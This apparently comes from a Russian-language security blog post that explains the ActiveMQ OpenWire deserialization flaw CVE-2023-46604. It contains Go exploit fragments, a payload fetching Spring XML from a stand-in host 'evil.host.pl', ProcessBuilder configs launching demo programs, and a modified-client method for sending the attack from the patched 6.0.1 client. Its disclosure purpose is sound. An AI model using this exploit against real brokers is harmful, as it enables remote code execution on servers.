Шатаем ActiveMQ
У меня снова плохие новости из мира корпоративной разработки, в этот раз рассказываю о свежей атаке на инфраструктуру крупных ИТ-проектов — брокер сообщений Apache ActiveMQ.
Адище как он есть
Как говорится ничего не предвещало беды, пока внезапно не появился портал в ад посреди корпоративной инфраструктуры.
В этой истории прекрасно абсолютно все — сама уязвимость, процесс ее закрытия и реакция окружающих в виде тотального пох#изма.
Лишний повод убедиться насколько много проблем в современном софте.
Итак, для начала опишу кратко что случилось:
Недавно исследователи предупредили, что более 3000 тысяч серверов Apache ActiveMQ, доступных через интернет, уязвимы перед свежей критической RCE-уязвимостью (CVE-2023-46604). В настоящее время баг уже подвергается атакам. Например, эксплуатировать проблему пытаются операторы шифровальщика HelloKitty.
Уязвимость CVE-2023-46604, получила статус критической и оценивается в 10 баллов из 10 возможных по шкале CVSS. Баг позволяет злоумышленникам выполнять произвольные шелл-команды, используя сериализованные типы классов в протоколе OpenWire.
Масштаб такой что успели наделать даже видеороликов c демонстрацией этой атаки, например вот:
Казалось бы уязвимость уже достаточно старая, информация о ней появилась еще в конце октября 2023го, но как обычно есть нюанс.
Очереди сообщений
Чтобы функционировал город обязательно нужны дороги, чтобы функционировал большой распределенный проект — очереди сообщений.
Очереди сообщений это такие транспортные артерии в больших проектах, а сам брокер очередей является инфраструктурным объектом капитального строительства, по аналогии с мостом или дорожной развязкой.
Также как и физические постройки, обновлять инфраструктурные части большого проекта очень непросто, какой-то единой методики миграции для брокеров сообщений не существует и что произойдет после обновления никто предсказать не сможет.
Я лично например наблюдал такую замечательную вещь как массовые «ошибки сериализации/десериализации» после обновления, из-за которых данные в очередях приходилось удалять вручную.
Поэтому чаще всего брокер сообщений не обновляется после установки и эксплуатируется до тех пор пока вообще может функционировать.
Также ввиду серьезной нагрузки, брокер сообщений обычно работает на голом железе, без слоев виртуализации и sandbox-ов.
Что как вы наверное догадываетесь делает их заманчивой целью как для майнеров (серверное железо обычно имеет мощности с запасом), так и для реверс-шеллов, поскольку получается доступ к полноценному окружению, а не к огрызку внутри изолированной среды jail, zones или docker.
Это конечно помимо такой замечательной вещи как просев проходящих через очереди данных — например в поиске номеров кредитных карт.
Вы же не думали будто базы ворованных кредиток собираются сами собой?
И вот уже шесть месяцев в открытом доступе находятся вполне работающие эксплоиты для удаленного выполнения команд на одном из самых популярных брокеров сообщений:
Apache ActiveMQ® is the most popular open source, multi-protocol, Java-based message broker. It supports industry standard protocols so users get the benefits of client choices across a broad range of languages and platforms. Connect from clients written in JavaScript, C, C++, Python, .Net, and more. Integrate your multi-platform applications using the ubiquitous AMQP protocol. Exchange messages between your web applications using STOMP over websockets. Manage your IoT devices using MQTT. Support your existing JMS infrastructure and beyond. ActiveMQ offers the power and flexibility to support any messaging use-case.
В этот раз описание на сайте не врет и этот проект действительно очень и очень популярен. Даже у нас есть пара проектов реализованных с его помощью, на одном из которых и вылезли описанные проблемы.
Как это работает
Существует несколько полных разборов этой уязвимости, но самая лучшая — внезапно на китайском (пришлось использовать автоматический перевод).
Также уже есть более продвинутая реализация, со своими недостатками, которая была создана для обхода правил IDS-систем, в базы которых достаточно быстро добавили сигнатуры вызова оригинального эксплоита — вот настолько эта зараза уже успела распространиться.
Ниже будет мой краткий пересказ механизма работы.
Как уже было отмечено выше, брокер отвечает за очереди сообщений, в которые обычно с одной стороны происходит последовательная запись, а с другой стороны — последовательная же вычитка этих самых сообщений.
Главное что дает брокер с такими очередями — гарантия доставки сообщения, что при любых сбоях и разрывах связи сообщение рано или поздно доберется до получателя. Либо оно устареет и будет автоматически отправлено в специальный отстойник (DLQ).
Функционально разумеется внутри есть еще много чего:
гарантии уникальности , маршрутизация сообщений, разные форматы этих самых сообщений (вплоть до гигабайтных бинарных файлов), топики с publish-subscriber схемой и так далее — почитайте спецификацию JMS, если вдруг интересна эта тема.
Но сейчас остановимся на самом простом и базовом — на самих очередях.
Брокер сообщений это сетевой сервер, взаимодействие с клиентами происходят по протоколу TCP/IP, выше которого находится объектный протокол со структурами пользовательских данных.
Протоколов взаимодействия на самом деле несколько, но сейчас остановимся на TCP/IP и объектном OpenWire.
Клиент формирует сообщение в специальном формате и отправляет на сервер через обычные сокеты и TCP/IP.
Фрагмент кода эксплоита на Go, отвечающего за передачу:
.. if useTLS { conf := &tls.Config{ InsecureSkipVerify: true, } conn, err = tls.Dial("tcp", ip+":"+port, conf) } else { conn, err = net.Dial("tcp", ip+":"+port) } ..
А сам пакет формируется самой банальной строкой :
.. className := "org.springframework.context.support.ClassPathXmlApplicationContext" message := url header := "1f00000000000000000001" body := header + "01" + int2Hex(len(className), 4) + string2Hex(className) + "01" + int2Hex(len(message), 4) + string2Hex(message) payload := int2Hex(len(body)/2, 8) + body data, _ := hex.DecodeString(payload) ..
Вызов эксплоита запустит выполнение кода на стороне сервера с ActiveMQ. Теперь про саму уязвимость.
Уязвимость
Эксплоит формирует специальное сообщение об ошибке таким образом чтобы при десериализации его содержимого произошел вызов инициализации Spring Framework с динамической конфигурацией.
На стороне сервера должна произойти десериализация вот такого объекта:
Object obj = new ClassPathXmlApplicationContext("https://evil.host.pl/poc.xml"); ExceptionResponse response = new ExceptionResponse(obj);
В результате чего произойдет обращение к удаленному серверу где расположен XML-файл с динамической конфигурацией Spring:
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg > <list> <value>open</value> <value>-a</value> <value>calculator</value> </list> </constructor-arg> </bean>
Как вы могли догадаться, все происходящее — обратная сторона универсальности и подобная десериализация «в слепую» встречается в менее известных проектах повсеместно.
Скорее всего такое есть и в вашем проекте.
Надо просто немного поискать и мы можем с этим помочь — пишите если интересно.
Исправление
Разумеется достаточно быстро дыру закрыли, но таким способом что это скорее фиговый листок для прикрытия срама чем полноценное решение:
Вот так выглядит сам код проверки:
public class OpenWireUtil { /** * Verify that the provided class extends {@link Throwable} and throw an * {@link IllegalArgumentException} if it does not. * * @param clazz */ public static void validateIsThrowable(Class<?> clazz) { if (!Throwable.class.isAssignableFrom(clazz)) { throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable"); } } }
Как видите единственная защита от удаленного выполнения произвольного кода — факт наследования вложенного класса от java.lang.Throwable, причем проверка происходит только в одном этом месте.
Если вам еще не очевидно насколько это плохо, то вот тут я уже описывал как легко и просто обходятся подобные проверки.
Реальная пенетрация
Теперь расскажу про то как подобные проблемы разработчики заметают под ковер в реальных проектах, скорее всего что-то подобное произойдет и у вас тоже.
Напоминаю, что обновлять развернутые и уже работающие брокеры сообщений в крупном проекте — сложно, зато изолировать сетевой доступ к брокеру и обновить клиентскую сторону — достаточно просто и предсказуемо.
Что и было проделано на одном из проектов нашего заказчика.
Клиент ActiveMQ был обновлен аж до 6.0.1 , которая разумеется считается неуязвимой для подобных атак и вообще всячески рекомендованной.
Сетевой доступ к брокеру был изолирован и остался только непосредственно с тех серверов, которые с ним взаимодействуют для работы.
Казалось бы все — проблема решена и злые хакеры никогда не доберутся до уязвимой жопы брокера сообщений.
Увы но нет, как я много раз повторял всем заказчикам:
Никаких «уровней» безопасности не существует, уж точно не в ИТ-проекте.
Вообщем ниже я покажу как легко и просто, без всяких левых эксплоитов повторить выполнение кода, используя лишь стандартную и обновленную клиентскую библиотеку ActiveMQ, считающуюся неуязвимой.
Вот так выглядит pom.xml и используемые библиотеки:
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>activemqtest</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>20</maven.compiler.source> <maven.compiler.target>20</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-client</artifactId> <version>6.0.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.23.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.23.0</version> </dependency> </dependencies> </project>
Полностью стандартный код отправки сообщения в очередь (у вас в проекте такой же, уверяю) выглядит вот так:
package org.example; import jakarta.jms.*; import org.apache.activemq.ActiveMQConnectionFactory; public class Main { public static void main(String[] args) throws Exception{ ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616"); Connection connection = connectionFactory.createConnection(); connection.start(); Session session = connection.createSession(); Destination destination = session.createQueue("tempQueue"); MessageProducer producer = session.createProducer(destination); Message message = session.createObjectMessage("123"); producer.send(message); connection.close(); } }
Для начала нужно переопределить класс:
org.apache.activemq.transport.tcp.TcpTransport
взяв исходник нужной версии например с Github проекта ActiveMQ и добавить его в тестовый клиентский проект.
В этом классе необходимо изменить метод:
public void oneway(Object command)
.. /** * A one way asynchronous send */ @Override public void oneway(Object command) throws IOException { this.checkStarted(); Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:8080/poc.xml"); ExceptionResponse response = new ExceptionResponse(obj); this.wireFormat.marshal(response, this.dataOut); this.dataOut.flush(); } ..
Этим действием клиент ActiveMQ будет формировать специальное сообщение с ошибкой, десериализация которого и является триггером для удаленного выполнения кода уже на сервере.
Throwable obj = new ClassPathXmlApplicationContext()
Конечно же стандартная версия класса ClassPathXmlApplicationContext которая является частью Spring Framework — не наследуется от класса ошибки java.lang.Throwable.
Поэтому нужно будет создать класс-заглушку с полностью совпадающим именем класса:
org.springframework.context.support.ClassPathXmlApplicationContext
package org.springframework.context.support; public class ClassPathXmlApplicationContext extends Throwable{ private String message; public ClassPathXmlApplicationContext(String message) { this.message = message; } @Override public String getMessage() { return message; } }
Это как вы уже могли догадаться нужно для обхода локальной проверки OpenWireUtil.validateIsThrowable() описанной выше.
После отправки сообщения сформированного таким нестандартным образом из новой и «неуязвимой» версии клиента ActiveMQ, на удаленном сервере, со старой версией ActiveMQ произойдет выполнение кода.
А старая версия брокера ActiveMQ будет использоваться еще очень и очень долго.
Эпилог
Компьютерная безопасность это внезапно сложно, сложнее чем просто разработка.
Не стоит к ней подходить формально, считая что раз вы установили патч обновления то тем самым гарантированно решили проблему и устранили дыру.
В данном случае удалось поймать за руку, пресечь и заставить все же полностью обновить брокеры сообщений, невзирая на все уверения что «все безопасно и надежно», хотя и пришлось для этого провести демонстрацию с использованием «безопасной» версии клиента ActiveMQ.
Как вы понимаете, подобное получается далеко не всегда и определить настоящее положение дел с безопасностью не так просто, поэтому если вам нужна помощь с оценкой безопасности вашего проекта и поиском уязвимостей — пишите, постараемся помочь.
P.S.
Вот так выглядит poc.xml для запуска сообщения на скриншоте в заголовке статьи:
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg > <list> <value>kdialog</value> <value>--msgbox</value> <value>Проснись Нео, тебя поимели</value> </list> </constructor-arg> </bean> </beans>